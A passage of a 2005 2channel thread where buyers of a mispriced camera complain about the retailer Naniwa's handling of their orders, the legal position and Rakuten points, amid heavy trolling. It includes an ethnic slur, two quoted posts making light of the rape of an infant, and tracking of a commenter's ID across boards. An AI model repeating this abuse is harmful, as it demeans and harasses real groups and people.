267 ：番組の途中ですが名無しです ：05/03/04 11:08:31 ID:3WXdInjg: お前の顔よりましですよんw
268 ：番組の途中ですが名無しです ：05/03/04 11:08:45 ID:a3NTNGnp: >>263
早いけど中身は進んでないので・・・
ナニワに電話しても「申し訳ない」＆はっきりしない返事
結局どうなるのかわからない
269 ：番組の途中ですが名無しです ：05/03/04 11:14:21 ID:vIvsSXYQ: 楽天ポイントの話が出ているので一応確認してみたら、
俺も入ってた。
キャンセルに応じたのになぁ。

なんか今のままだと、ほんとにキャンセルされてるか不安で他でも買えないよ。
270 ：番組の途中ですが名無しです ：05/03/04 11:16:16 ID:TUnvaqri: >>268
結局進展なしか
メールしとくかな
対応の悪さと売れって事を

電話しても対応悪い
メールも返さない
売りもしない
どうなってるんですか
271 ：番組の途中ですが名無しです ：05/03/04 11:17:07 ID:rQVrENEO: ナニワ訳わかんね。
272 ：番組の途中ですが名無しです ：05/03/04 11:17:39 ID:TUnvaqri: >>269
大丈夫
向こうから言ってきてるんだから
もし売るとか言い出してもつっぱねろ
273 ：番組の途中ですが名無しです ：05/03/04 11:17:55 ID:BeoyCfNN: >>270 >>271 それがナニワの作戦なんだよ。
徹底的に無視。そして沈静化を狙う。
274 ：番組の途中ですが名無しです ：05/03/04 11:19:16 ID:kbk1GA+d: 送られてきても身に覚えが無いって言えばいいんじゃない？代引きなら。
275 ：番組の途中ですが名無しです ：05/03/04 11:19:45 ID:rQVrENEO: >>269
転売すればいいんじゃない？
276 ：番組の途中ですが名無しです ：05/03/04 11:20:09 ID:TUnvaqri: >>273
作戦も何もありえない
腐っても商売人なんだよな？
┌| ∵|┘は老舗じゃなかったのか
277 ：番組の途中ですが名無しです ：05/03/04 11:21:24 ID:TUnvaqri: 結局こっちが何をやってもどうにもならないと思わせたいんだよな
法的手段に出ないとおもって舐めてるんだろうな
事実時間やコストで難しい
客にこういう態度を取るのはどうなんでしょうね
278 ：番組の途中ですが名無しです ：05/03/04 11:32:08 ID:BeoyCfNN: >>276 いや作戦だと思うよ。
店舗にとっては、丸紅事件以降こういった件は「リスク」であるわけよ。
だから店舗に対して保険商品が開発されているわけだし、
こういう自体になったときにサービスを提供するコンサルタントも出現しているわけですよ。

そういうコンサルが今回のナニワに絡んでいるかどうかは別として、
彼らは彼らなりに、（彼らの定義する）「損害」を最小化して、（彼らの定義する）「利益」を
最大化するために、ミーティングして、意思決定して、行動してるわけですよ。
（それがどんなにしっかりしたものか、一方DQNなものかはさておいてね）

というわけで、ともあれこれは彼らの「作戦」なわけですよ。
279 ：番組の途中ですが名無しです ：05/03/04 11:36:59 ID:aXr40iI0: はっきり言えることがある

おまえらに勝ち目はない

本当にキスドンが欲しい香具師は諦めろ
280 ：番組の途中ですが名無しです ：05/03/04 11:37:32 ID:TUnvaqri: まぁ行き当たりばったりな対応で
作戦と言うほどのもんじゃない気はするけど

もし考えて出した作戦なら大馬鹿ですね
281 ：番組の途中ですが名無しです ：05/03/04 11:39:03 ID:TUnvaqri: >>279
このままで許せるわけが無い
勝ち負けではない
282 ：番組の途中ですが名無しです ：05/03/04 11:39:29 ID:blqCOmsZ: そろそろカテナのときみたいに私のニュースの方に移動したら
どうせ買えないし、飽きてるし
スレ立てとくよ
283 ：番組の途中ですが名無しです ：05/03/04 11:44:57 ID:xsl/H6WP: ナニワ社員が一時大量出現して、
ナニワの評判を下げるだけ下げて、
また潮が引くようにいなくなった。
「まぁ行き当たりばったりな対応で
作戦と言うほどのもんじゃない」
としか思えんな。
ナニワは、話にならん位のパカ。
恐れるにはたらん。
そのうちまた新たなポロをだすよ。
そこを徹底的に突いて、
このたびの、消費者軽視の態度に、
きっちりおとしまえをつけてもらおう。
284 ：番組の途中ですが名無しです ：05/03/04 11:52:57 ID:TUnvaqri: ラボにも┌| ∵|┘にも頭の悪そうなメール送っといたよ
細かい事は言わずに
┌| ∵|┘さんの迷走ぶりにはちびったよ
285 ：番組の途中ですが名無しです ：05/03/04 11:53:53 ID:wO/GLb2j: このままだと金輪際ネットで商売できないね。
もう先のことを考える余裕もないんだろうね。
会社自体が老衰状態なんだろうね…。社員は悲惨だな。
286 ：番組の途中ですが名無しです ：05/03/04 11:55:04 ID:a3NTNGnp: 社員が毎日うるさいから今せっかく２ちゃんブラウザ設定してみたのに

ナニワに今電話しても半端な返事しかもらえないので、レンズ買った人はどういう対応もらってるのか知りたいところ
287 ：番組の途中ですが名無しです ：05/03/04 11:57:50 ID:q65MXI5F: >>279
諦めてても今の状態じゃあ他店から買うこともできないと思いつつも他店に注文した・・・
これでナニワが売るとなったら俺は支払えない
288 ：番組の途中ですが名無しです ：05/03/04 11:59:27 ID:TUnvaqri: >>287
キス丼を？
いくらだった？
289 ：番組の途中ですが名無しです ：05/03/04 12:00:43 ID:TUnvaqri: >>285
ワンマン馬鹿社長が言う事聞かないんだろ
社員があきれてる顔が目に浮かぶ
290 ：番組の途中ですが名無しです ：05/03/04 12:02:29 ID:q65MXI5F: >>288
D70
291 ：番組の途中ですが名無しです ：05/03/04 12:55:44 ID:hpsMG1XT: 俺、会社辞めるかもしれないんで
辞めたらとことん付き合おうね、ナニワちゃん
292 ：番組の途中ですが名無しです ：05/03/04 13:01:28 ID:oC5bGaR4: あきらめて、これでも買え
http://openuser6.auctions.yahoo.co.jp/jp/show/auctions?userID=kiwako612
293 ：番組の途中ですが名無しです ：05/03/04 13:02:04 ID:trBnvJqW: 購入時にメルアド打ち込んだら
配信しない設定にしたはずなのに楽天から
スパムメールがたっくさん届いた。
全て停止処理した所、楽天からのメールは無くなったが
翌日から替わりにウィルスメールが毎日届くようになったよ
偶然だろうけどなんか気分悪い
294 ：番組の途中ですが名無しです ：05/03/04 13:40:42 ID:awuZNUqp: オイラも楽天メールが着たので６日前に背信停止したけど、
又違うメールが来た。どうも３０種以上のメールがある様だが
その全てに付いて配信停止処理が必要と今朝気が付いた。くそーっ　＞　楽天
295 ：番組の途中ですが名無しです ：05/03/04 14:10:57 ID:hpsMG1XT: 楽天はメールの送受信を一覧表示して設定できるページがあったはずなんだけど
俺も先月、それでいらないメール配信停止しまくった覚えがある
まあ、今でも来てるけどな
数は減った
296 ：番組の途中ですが名無しです ：05/03/04 14:55:29 ID:SM5lJz95: >>252
のこれ結構重要なこといってない？
>・契約は白紙になっているのかどうかの確認はすることができる
>　今の曖昧な返事でなくきっちりもらえ
これは警察が言ったんだから、相手にもはっきり契約の有無ははっきりそのばで聞ける権利は購入手
続き完了者にはあるはずだよ。みんなこの点を鑑みて、もう一度警察に確認するなり、ナニワに回答
求めるなりして見る動きがこれからじゃないか？

252 ：番組の途中ですが名無しです：05/03/04 09:42:40 ID:a3NTNGnp
おまわりさんと１７分も電話しちゃったよ
・現状では犯罪性は感じられないので動きはとらない
・クレカで払っている人は、明細のチェックを怠らないこと（おかしな支払いがあればカード会社に連絡）
・どうしても不安であればカード番号の変更
・契約は白紙になっているのかどうかの確認はすることができる
　今の曖昧な返事でなくきっちりもらえ．．．

あと、本日ecomから回答もらったので、２次利用にならない範囲であとで書き込みます。
297 ：番組の途中ですが名無しです ：05/03/04 15:02:33 ID:yvzLhwkq: 昨日までの「荒らし」は社員だったみたいで今日は静かですね！

静かになったってことは、向こうは我々が相談した各所からの
問い合わせに右往左往して、辻褄あわせ大変なのかな？
　　　　　　　　　　　　「実から出た錆」
298 ：番組の途中ですが名無しです ：05/03/04 15:08:42 ID:dtPTYNve: >>297
×実から出た錆
○身から出た錆
299 ：番組の途中ですが名無しです ：05/03/04 15:10:16 ID:yvzLhwkq: >>298
訂正ありがとうございます。
300 ：番組の途中ですが名無しです ：05/03/04 15:14:33 ID:a3NTNGnp: >>296
俺がナニワ電話したのはいつだっけ？昨日か？
その時に契約されてるのかどうかについては、明確な回答をいつまでたってもされなかったんだと思ってる
ＦＡＸ後に電話でもした方がいいのかな？でも、ここだと会社のＦＡＸになってしまうしつらいとこだな
301 ：番組の途中ですが名無しです ：05/03/04 15:17:18 ID:Fc3SCL2X: > >>252
> のこれ結構重要なこといってない？
>> ・契約は白紙になっているのかどうかの確認はすることができる
>> 　今の曖昧な返事でなくきっちりもらえ

かなり重要だと思う。
そもそも、商取引契約を日常業務として行っているにもかかわらず、
どの時点で契約成立なのかについて責任者が即答できないという事自体すでにおかしい。

ではなぜ即答しないのか。

本当に契約成立の時期について解らないのなら、
客商売をする資格がないと客から言われても文句はいえない。

解っているにもかかわらず即答しないのであれば、自らおかした過失を
「契約成立の時期」でもってカバーしようとする意図が見え隠れする。

実際３／１の電話では「契約成立していないという立場をとる」というような事を
中根氏はハッキリ言った。（今まで伏せていたが、録音してある）
ところが今日の時点では「それについては言えない」という灰色回答しかしない。

悪質な対応だな。
302 ：番組の途中ですが名無しです ：05/03/04 15:19:08 ID:p1ApAAyT: >>301
GJ!!
303 ：番組の途中ですが名無しです ：05/03/04 15:19:57 ID:lzrBBWuU: 文句があるんなら店頭に行って直接言え！
304 ：番組の途中ですが名無しです ：05/03/04 15:22:44 ID:p1ApAAyT: >>303
はい？
305 ：番組の途中ですが名無しです ：05/03/04 15:23:25 ID:TUnvaqri: 最初は契約成立してるとはっきり言っていたんだろ？
悪質だ
マジで社内でも二転三転してんのか
306 ：番組の途中ですが名無しです ：05/03/04 15:24:53 ID:jQx10MMp: >>303
交通費出してくれますか。東京からなんですが。
307 ：番組の途中ですが名無しです ：05/03/04 15:27:13 ID:yvzLhwkq: 「一筆文章を署名付きでもらうこと」
「なんだったら、先方から内容証明？で送ってもらうとよい」
てな感じでアドバイスもらってます。

もし、拒まれたら「つぎの手」で行きます。
308 ：番組の途中ですが名無しです ：05/03/04 15:27:46 ID:YlD8JxW8: ｺﾞﾈｺﾞﾈ
309 ：番組の途中ですが名無しです ：05/03/04 15:29:03 ID:Fc3SCL2X: ちなみに、録音はしてあるけど、これは出来るだけ使いたくないんだわ。
相手の動き方によってはアップもありえるだろうけどね。

それに、相手方には誰が録音しているのかについても知られたくない。
いや、ただ単に、中根氏と話しづらくなるかなってだけなんだけどね。
（裁判での証拠にはならないことは解ってる）
普通にあの値段で買えればそれはそれでいいんだから。

できれば、電話をかけられる人は電話をかけて、できるだけ中根氏に色々聞いて欲しいな。
誰が録音してるのか解らない状態であるのが俺的にはいいかな、と。
310 ：番組の途中ですが名無しです ：05/03/04 15:29:04 ID:p1ApAAyT: ナニワはいつまでゴネてるんだろうね、そこは同意。
311 ：番組の途中ですが名無しです ：05/03/04 15:32:50 ID:a3NTNGnp: >>309
言いたい事はわかる
中根氏との電話の最後に名前聞かれたが、これ以上自分の個人情報晒したくないし
特定されるのはもういやなんだよね

みんなで電話して特定できない状態が一番いいかと思う
312 ：番組の途中ですが名無しです ：05/03/04 15:34:08 ID:Fc3SCL2X: >>309に追記

これから電話をかける人は、これからの対応だけでなく　「今までの対応の確認」を
電話口でしてもらえるといいかなと思ってる。

いついつの時点では契約成立していると言われた。
いついつの時点では契約成立していないと言われた。
ですが今の時点ではそれについては答えられないということですね。

という感じで。
313 ：番組の途中ですが名無しです ：05/03/04 15:36:01 ID:trBnvJqW: 何度も電話しても進展無い、
これ以上阿保相手に無駄な時間は過したくないから
配達証明付の内容証明を送りつけてやろうと思うけど
宛名は社長名がいいのかな?
下っ端相手にしても金が無駄になりそうだ
314 ：番組の途中ですが名無しです ：05/03/04 15:38:29 ID:yvzLhwkq: >>313
「殿」をつけて社長宛ですヨ！
315 ：番組の途中ですが名無しです ：05/03/04 15:47:26 ID:hJ94Ocdi: クレカ決済で購入したんだが、
楽天ポイントのところが未だに「568(仮)」のままになってる
316 ：番組の途中ですが名無しです ：05/03/04 15:52:38 ID:60QpnT6B: >>315
８日経って確定だから明日で確定になるらしい
317 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 15:58:24 ID:hew5sG8c: 間違いなく特定されている俺が電話しましょうか？
318 ：番組の途中ですが名無しです ：05/03/04 16:05:35 ID:sOKgRjOX: >317

朝に電話した俺の報告ですよ
中根さん本当に何も答えなくなった　メールに返事するってのも個々対応なのか
注文した客全体への対応なのかすら答えてくれなくなった

申し訳ないとも言わなくなったな
電話した人間をあしらうような雰囲気を感じたよ

参考までに
319 ：番組の途中ですが名無しです ：05/03/04 16:14:37 ID:a3NTNGnp: >>318
ひでえなそれは
でも、ある意味謝罪さえろくにしない会社になったってことで
あれか？俺が名前出して、こないだは「レンズ買った人に対しては個々に対応」
って言ったじゃねえかと聞けば良い？
320 ：番組の途中ですが名無しです ：05/03/04 16:27:18 ID:xsl/H6WP: いつまで、放置する気だ。
だらしない会社だなぁ。
321 ：番組の途中ですが名無しです ：05/03/04 16:34:29 ID:ME/sEXeX: >>318
問題がＮ氏の手を離れた可能性もあるんじゃないか？
決定権を持つ上役や弁護士とかの判断待ちとか。
元々店舗閉鎖自体Ｎ氏の権限だけで行っているとは考えられないし。
単にＮ氏が投げやりになってるだけってオチもあるとは思うが･･･。
322 ：番組の途中ですが名無しです ：05/03/04 16:36:23 ID:H4KnJPmK: というか楽天ポイント確定になったらどうすんだろな？
323 ：番組の途中ですが名無しです ：05/03/04 16:38:08 ID:lzrBBWuU: メールｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!
１台だけだったら売ってくれるって
やっぱこっちも法人だと対応違うね
324 ：番組の途中ですが名無しです ：05/03/04 16:39:35 ID:H4KnJPmK: 燃料ごくろうさん。
325 ：番組の途中ですが名無しです ：05/03/04 16:39:50 ID:yvzLhwkq: >>321
昨日、電話した時に女性が出て「担当に代わります。」てN氏が出たけど
担当者がそのような態度をみせるなんて・・・・・なんなんだ？

昨日はみなさんの御存じの状態でしたけど
326 ：番組の途中ですが名無しです ：05/03/04 16:41:46 ID:6UHRmCHA: 結局、この店は売ってくれるのかね？
いいかげん、連絡してこいよ
こっちは申し込んだんだから。
327 ：番組の途中ですが名無しです ：05/03/04 16:42:34 ID:R5RqGrMr: >>323
あーあ、虚偽なら終わったな。
このスレで売っってくれる店舗とはナニワしかない、ナニワに訴えられたら終わりだよ。
328 ：番組の途中ですが名無しです ：05/03/04 16:42:40 ID:lzrBBWuU: ゴネ厨氏ねや
329 ：番組の途中ですが名無しです ：05/03/04 16:43:21 ID:ME/sEXeX: >>322
何らかの手段で確定には「させない」か、
確定になっても何らかの回避策があると見ておいた方がいい。
だから濁天規約で回収もあると考えておくべきで、
購入予定の無いものに無理に使うのはどうかと思う、が、各個判断すべしか。
そうでなければ売ることに半ば決定＝ポイントはそのままとしているか、
ポイントの問題を見落としているかかな？
見落としてるとしたらマヌケ過ぎるわけだが･･･
330 ：番組の途中ですが名無しです ：05/03/04 16:44:56 ID:u4O0escM: まだやってたか貧乏人どもｗｗｗｗｗｗｗｗ
331 ：番組の途中ですが名無しです ：05/03/04 16:45:38 ID:l+AdlK56: 「特定されるのが嫌だ。名前出したくない。」

おまえら真性で最悪だな・・。
さすがにそれはタチ悪すぎだぞ
332 ：番組の途中ですが名無しです ：05/03/04 16:46:12 ID:R5RqGrMr: >>323
とりあえず>>323が売ってもらうというのを聞いたのでナニワに連絡してみるか、虚偽なら>>323はアウトだろ。

>>329
ここで使うのもあり。
http://dl.rakuten.co.jp/shop/rt/
333 ：番組の途中ですが名無しです ：05/03/04 16:46:38 ID:lzrBBWuU: おまえらキモイんだよ！他でやれや！！
334 ：番組の途中ですが名無しです ：05/03/04 16:47:00 ID:hEhHnwTu: ﾁｮﾝ乞食みたいなことするなよ。
335 ：番組の途中ですが名無しです ：05/03/04 16:47:40 ID:R5RqGrMr: ゴネてるのはナニワだからねぇ
336 ：番組の途中ですが名無しです ：05/03/04 16:47:51 ID:lzrBBWuU: 粘着ゴネ厨（・∀・）ｶｴﾚ!
337 ：番組の途中ですが名無しです ：05/03/04 16:48:08 ID:H4KnJPmK: いや、つか、マジで売れるのか売れねーのかだけはっきりして欲
しいだけなんだよな、、、
で売れないのならはっきりと経緯を説明して欲しい、、、
338 ：番組の途中ですが名無しです ：05/03/04 16:49:04 ID:6UHRmCHA: 説明きこうと電話しても
担当者がいつかえってくるかわかりません
という態度なのか・・・
残念だねぇ
ちゃんと誠心誠意謝罪すればそれですんだのに。
339 ：番組の途中ですが名無しです ：05/03/04 16:49:08 ID:a3NTNGnp: >>328
>>330
なんかが同時に湧いてきたな、今日の業務はこれからですか？
340 ：番組の途中ですが名無しです ：05/03/04 16:49:32 ID:R5RqGrMr: >>336は粘着煽り厨だな
341 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 16:50:09 ID:hew5sG8c: 時間が出来たから電話してみたんだが、とってくれない…
あとecomから連絡きた。
詳しくはかけないが、とりあえず今回は錯誤無効は主張出来ないらしい。

だから、中根氏が俺に「契約は成立した上で、値段の錯誤から売れない」
と説明したのは全く無効になる。

勝ったな。
342 ：番組の途中ですが名無しです ：05/03/04 16:50:14 ID:lzrBBWuU: おまえらやってること恥ずかしいからsageてんの？ﾌﾟｹﾞﾗｯﾁｮ
343 ：番組の途中ですが名無しです ：05/03/04 16:50:34 ID:6UHRmCHA: この会社対応わるいねぇ

自分のミスなのに開き直ってるし。
344 ：番組の途中ですが名無しです ：05/03/04 16:50:52 ID:o7JvLLWg: ［ cameranonaniwa.co.jp ］のJPNICからの応答は以下の通りです。

Domain Information: [ドメイン情報]
a. [ドメイン名] CAMERANONANIWA.CO.JP
e. [そしきめい]
f. [組織名] 株式会社ナニワ商会
g. [Organization] Naniwa Shoukai Co., Ltd.
k. [組織種別] 株式会社
l. [Organization Type] Company
m. [登録担当者] MY322JP
n. [技術連絡担当者] MH372JP
p. [ネームサーバ] ns3.sphere.ad.jp
p. [ネームサーバ] ns4.sphere.ad.jp
y. [通知アドレス] avenue-admin@smartave.ne.jp
y. [通知アドレス] dns@sphere.ad.jp
y. [通知アドレス] jpnic-db@kcom.ne.jp
y. [通知アドレス] kazuhiro.moriyama@728.co.jp
[状態] Connected (2005/03/31)
[登録年月日] 1997/03/04
[接続年月日] 1997/03/06
[最終更新] 2004/04/01 03:50:08 (JST)
345 ：sage：05/03/04 16:51:03 ID:ME/sEXeX: >>325
先の謝罪すらない対応が「事実とすれば」Ｎ氏の凡ミス(または投げやり)か、
Ｎ氏は全ての権限を失った(問題が手を離れた)としか考えようが無い。
最悪はハニワが完全に勝利できると確信しているということだけど、
それは個人的にも常識的にもかなり難しいと思う。
346 ：番組の途中ですが名無しです ：05/03/04 16:51:19 ID:l+AdlK56: >>338
注文する時点で明らかにミスだろうなとわかっているのに
謝罪されなきゃ満足できないって本気？
べつに謝罪をしなくていいって言ってるわけじゃないが
よくそんな精神状態に到達できるね
347 ：番組の途中ですが名無しです ：05/03/04 16:51:27 ID:a3NTNGnp: >>338
ほんとだ、席はずしてるって
１９時まで営業で今日何時か不明だがとりあえず戻っては来るそうだ
348 ：番組の途中ですが名無しです ：05/03/04 16:51:41 ID:lzrBBWuU: ここは社会不適合者のスレだなｗ
349 ：番組の途中ですが名無しです ：05/03/04 16:52:12 ID:yvzLhwkq: いまかけたら出ませんでした。
フリーダイヤルは留守電でした。
350 ：番組の途中ですが名無しです ：05/03/04 16:52:23 ID:6UHRmCHA: 担当が説明するのがあたりまえだろ。
完全ににげようとしてるし。
汚い会社だなぁ
もうかかわりあわないようにするよ
351 ：番組の途中ですが名無しです ：05/03/04 16:53:03 ID:l+AdlK56: おまえらキモチ悪い・・・。
352 ：番組の途中ですが名無しです ：05/03/04 16:54:04 ID:lzrBBWuU: おまえら正当性主張するんなら裁判起こせよ！
出来もしないのにいきがってんなよｗ
353 ：番組の途中ですが名無しです ：05/03/04 16:55:52 ID:AN4ozE6c: どうでもいいからもういい加減ニュース実況行けよ。みっともねえ
354 ：番組の途中ですが名無しです ：05/03/04 16:56:04 ID:OqztWggk: >>341
錯誤無効をナニワが主張出来ないって事は買えるの？
355 ：番組の途中ですが名無しです ：05/03/04 16:56:25 ID:ME/sEXeX: 土～日～月で何らかの動きがあるのは確かと考えて、
それまで疑心暗鬼にならず、暴言などは自重するべきだと個人的に思う。
ハニワが訴えてくるとは考えにくいけどね。
356 ：番組の途中ですが名無しです ：05/03/04 16:56:44 ID:xsl/H6WP: >>341
「今回は錯誤無効は主張出来ないらしい。勝ったな。」

ばんざーい
357 ：番組の途中ですが名無しです ：05/03/04 16:57:07 ID:lzrBBWuU: 住人からキモがられてるの気が付かないの？
頭大丈夫ですか？
358 ：番組の途中ですが名無しです ：05/03/04 16:57:40 ID:ynIS9nU8: 186付けて電話しろってさ。

更に個人情報集めて売り飛ばすつもりだぞ。
359 ：番組の途中ですが名無しです ：05/03/04 16:58:41 ID:R5RqGrMr: ID:lzrBBWuU完全に粘着だなｗ、第三者から見ても面白い。
360 ：番組の途中ですが名無しです ：05/03/04 16:58:47 ID:6UHRmCHA: 私は、ちゃんと説明してくれたらそれでよかったんだが
それさえしないのは、ちょっとあれなんじゃないか。
361 ：番組の途中ですが名無しです ：05/03/04 16:59:15 ID:l+AdlK56: >>358
そうだな。おまえらみたいなキモイやつらの個人情報ならおれも買いたい
362 ：番組の途中ですが名無しです ：05/03/04 16:59:34 ID:y6eIGckj: >>358

非通知設定は駄目だっていうわけか。。
363 ：番組の途中ですが名無しです ：05/03/04 17:00:13 ID:ME/sEXeX: >>354
価格誤記を理由にした契約の無効は認めにくいというだけでしょ？
主張すること自体は出来る、それが通るかどうかは別。
364 ：番組の途中ですが名無しです ：05/03/04 17:00:23 ID:lzrBBWuU: おまえらウザいんだよ
おながいだから他でやれや
365 ：番組の途中ですが名無しです ：05/03/04 17:01:19 ID:R5RqGrMr: 見なきゃいいのにこいつは何で必死なんだｗ
366 ：番組の途中ですが名無しです ：05/03/04 17:01:22 ID:ynIS9nU8: 粘着店員必死だな。
367 ：番組の途中ですが名無しです ：05/03/04 17:01:45 ID:lzrBBWuU: 晒しage＾＾
368 ：番組の途中ですが名無しです ：05/03/04 17:01:50 ID:l+AdlK56: >>360
で、説明しないならカメラよこせと？
大損失に繋がることだから説明に困るぐらいわかるだろ。
相手の不備につけ込むことがそんなに楽しいの
369 ：番組の途中ですが名無しです ：05/03/04 17:03:10 ID:6UHRmCHA: >>368
なにか勘違いしてない？

私は、楽天ポイントがどうなるのかききたかっただけで
契約云々はなにもふれていないが。
370 ：番組の途中ですが名無しです ：05/03/04 17:03:19 ID:6Y+kpMO+: 錯誤無効は時間を巻き戻して、すべてをなかったことにするという
善意の第三者にも対抗出来る、超強力な権利なので
裁判ではなかなか認められないという話。
371 ：番組の途中ですが名無しです ：05/03/04 17:03:58 ID:l+AdlK56: >>369
>>326
372 ：番組の途中ですが名無しです ：05/03/04 17:04:00 ID:lzrBBWuU: 先生！こいつらキモすぎます！！！
373 ：番組の途中ですが名無しです ：05/03/04 17:05:04 ID:R5RqGrMr: ID:lzrBBWuU晒しあげ＾＾
374 ：番組の途中ですが名無しです ：05/03/04 17:05:39 ID:y6eIGckj: 説明が、最初から迅速かつ正確に行われてさえいればここまで拗れなかっただろうな。

対応はノロい。内容はとってつけたようないい加減な説明。

後日になって一転する説明。それに突っ込まれたところ、説明できない責任者。

その後、さらに電話口では何も言えないというような姿勢へ。

なんのためのフリーダイアルだよ。
ミスしたならしなたりの説明をするのが責任だろう。
375 ：番組の途中ですが名無しです ：05/03/04 17:06:24 ID:ynIS9nU8: 夜逃げか？ﾜﾗ

普通の電話にも出なくなったぞｗ

んで今、低脳中根君とバカボン塩山Jr.が粘着と...

わかりやすい会社だなｗ
376 ：番組の途中ですが名無しです ：05/03/04 17:06:50 ID:lzrBBWuU: こいつらの個人情報は悪質なクレーマーとして業界に流して下さい
377 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 17:07:24 ID:hew5sG8c: とりあえず本日中に中根氏から折り返し電話をよこさせる約束しました。
また中継します。
ちょっとＰＣから離れますね。
378 ：番組の途中ですが名無しです ：05/03/04 17:07:44 ID:5QCENGTO: ﾓﾏｴﾗﾓｯﾄｶﾞﾝｶﾞﾚ!!
379 ：番組の途中ですが名無しです ：05/03/04 17:08:44 ID:lzrBBWuU: このスレにいるとキモすぎて吐きそうです
380 ：番組の途中ですが名無しです ：05/03/04 17:08:55 ID:xsl/H6WP: >>377
GJ
381 ：番組の途中ですが名無しです ：05/03/04 17:10:03 ID:xuCcxy2q: うぜーんだよゴネ厨が
他でやれよキモデブ野郎
382 ：番組の途中ですが名無しです ：05/03/04 17:10:29 ID:R5RqGrMr: ID:lzrBBWuU　ｗ
383 ：番組の途中ですが名無しです ：05/03/04 17:13:09 ID:6UHRmCHA: さっき、電話したら、女性のスタッフがなにもしらないといってました。
そのうしろで、
男性が２人（少なくとも）大笑いしてました。
なにについて笑っているか知りませんが、
こっちは、楽天ポイントが使えるかどうかをきくためにまじめに電話しただけなのに
担当がいないといわれるだけで、なんら調べようともせず
大変不快でした。
わざわざ電話したのに大変残念です。
384 ：番組の途中ですが名無しです ：05/03/04 17:13:47 ID:GcM6z2sJ: ID:lzrBBWuU　ｺｲﾂも結構いろんな所に
ttp://stick.newsplus.jp/id.cgi?bbs=news&word=lzrBBWuU
385 ：番組の途中ですが名無しです ：05/03/04 17:16:15 ID:lzrBBWuU: 粘着ゴネじゃ飽きたらずストーカー行為までするのかマジ死ねやｗ
386 ：番組の途中ですが名無しです ：05/03/04 17:16:24 ID:a3NTNGnp: >>383
フリーダイヤルも、フリーダイヤルでないのも
中根氏直通ダイヤルだから、席はずしてる中根氏（まさかID:lzrBBWuUではないと思うが）
の代わりに出てるだけいいと思っておけば良いんじゃない？

後ろで笑ってるのはちとむかつきますが、留守電より、鳴りっぱなしよりはいいかと。
387 ：番組の途中ですが名無しです ：05/03/04 17:16:35 ID:trBnvJqW: lzrBBWuUってマジで書込んでるのか
気持ちワリー
388 ：番組の途中ですが名無しです ：05/03/04 17:16:39 ID:xsl/H6WP: 【フランス】生後六ヶ月の赤ん坊に売春させる…[1件]
6 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/04 12:26:10 ID:lzrBBWuU
逆に考えると生後6ヶ月だったらレイプされても、記憶すら残らないからある意味幸せだな
389 ：番組の途中ですが名無しです ：05/03/04 17:17:06 ID:GcM6z2sJ: 【フランス】生後六ヶ月の赤ん坊に売春させる…[1件]
6 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/04 12:26:10 ID:lzrBBWuU
逆に考えると生後6ヶ月だったらレイプされても、記憶すら残らないからある意味幸せだな
390 ：番組の途中ですが名無しです ：05/03/04 17:18:37 ID:OqztWggk: ナニワが無効を主張出来ないと言うことは買えるのかヽ(´―｀)ノ
391 ：番組の途中ですが名無しです ：05/03/04 17:18:38 ID:/vWUUUBs: >>384
GJ
392 ：番組の途中ですが名無しです ：05/03/04 17:18:44 ID:9ozAPPpd: 感じ悪いけど、韓国の会社なのか？
社長の息子、目が離れとるで？
393 ：番組の途中ですが名無しです ：05/03/04 17:18:58 ID:H/mKBx/5: >>377
ＧＪ
俺も文句メール送った。
394 ：番組の途中ですが名無しです ：05/03/04 17:19:48 ID:6UHRmCHA: >>386
君は勘違いしてないか？

ビジネスは商人であってプロだよ。ミスは許されないの。
トラブルやミスはあってはならないけど、人間はミスをすることもある。
自分のミスなら迷惑かけたひとにちゃんと説明するのがスジでは？
なぜ、こちらから説明を求めるようなテマをかけないといけないの？
こっちのミスじゃないでしょ？

それじゃさようなら。
395 ：番組の途中ですが名無しです ：05/03/04 17:20:10 ID:R5RqGrMr: >>384
こりゃ痛い奴だな。
396 ：番組の途中ですが名無しです ：05/03/04 17:20:23 ID:H4KnJPmK: >>384
そなんだよね、、、こゆのマジいるんだわこれが。
どの書き込み見ても煽ってんの。それでストレスが解消されんのかね、、、
正直理解できんがそゆ人間もいるっつーこった。というかこゆのかなり見かける。
各板にいるんじゃね？
397 ：番組の途中ですが名無しです ：05/03/04 17:21:46 ID:SM5lJz95: えー先ほどいいました、ecomの回答を２次利用にならない程度に概略を自分の言葉で
説明します。

・自分の書いたメール&資料によれば、曖昧な記載で契約不成立を完全主張できるものではありませんでした。

・また、錯誤主張はみなさんが初めから言っていたように本件の場合主張できるものではないようです。

ecomの起こす対応自体にはここでは触れないことにしておきますが、みなさん一人一人がecomに相談
していく行動によりecomがより積極的に行動を起こしてくれる事実は確認できました。ですので、み
なさんも相談してみることをおすすめします。

こんな感じでした。警察に相談することも大いには情報は得られませんがみんなが、有益な情報を手
に入れられることは、確認しました。こちらも、可能であれば利用してみるのもよいかと思います。
検索で「(自分の都道府県の警察)」「ネット」などで検索すればすぐに出てきますので、そこで窓口を改めて聞
くのも手かもしれません。
ttp://www.npa.go.jp/nettrouble/
ここの相談センターからまわしてもらうのもよいかも知れません。

以上です。
398 ：番組の途中ですが名無しです ：05/03/04 17:22:35 ID:RsX1sXaF: あぼーんがいっぱい
２ちゃんブラウザって便利～
399 ：nc03.wf.dion.ne.jp：05/03/04 17:22:47 ID:lzrBBWuU: ばーか
これはDIONの共通串なんだよ
IDストーカー使って優越感浸ってんじゃねーよﾜﾗ
400 ：番組の途中ですが名無しです ：05/03/04 17:22:50 ID:xsl/H6WP: ID:lzrBBWuUがナニワの次期社長だったら、大笑いだな。
401 ：番組の途中ですが名無しです ：05/03/04 17:23:59 ID:R5RqGrMr: やっぱりDIONかよ。相当の粘着厨だな。
402 ：番組の途中ですが名無しです ：05/03/04 17:25:17 ID:H4KnJPmK: >>399
共通串とか心配しなくても全部お前だろ、、、
分かってるから心配するな。文体が全部同じだしな。
403 ：番組の途中ですが名無しです ：05/03/04 17:25:27 ID:xsl/H6WP: >>399
書き方に共通性があると思うよ。
ぜんぶあんたが書いたと、俺は信じるね。
ごまかすな、この卑劣な腐敗野郎。
404 ：nc03.wf.dion.ne.jp：05/03/04 17:26:07 ID:lzrBBWuU: その言葉そのままおまえらに返すよｷﾞｬﾊ
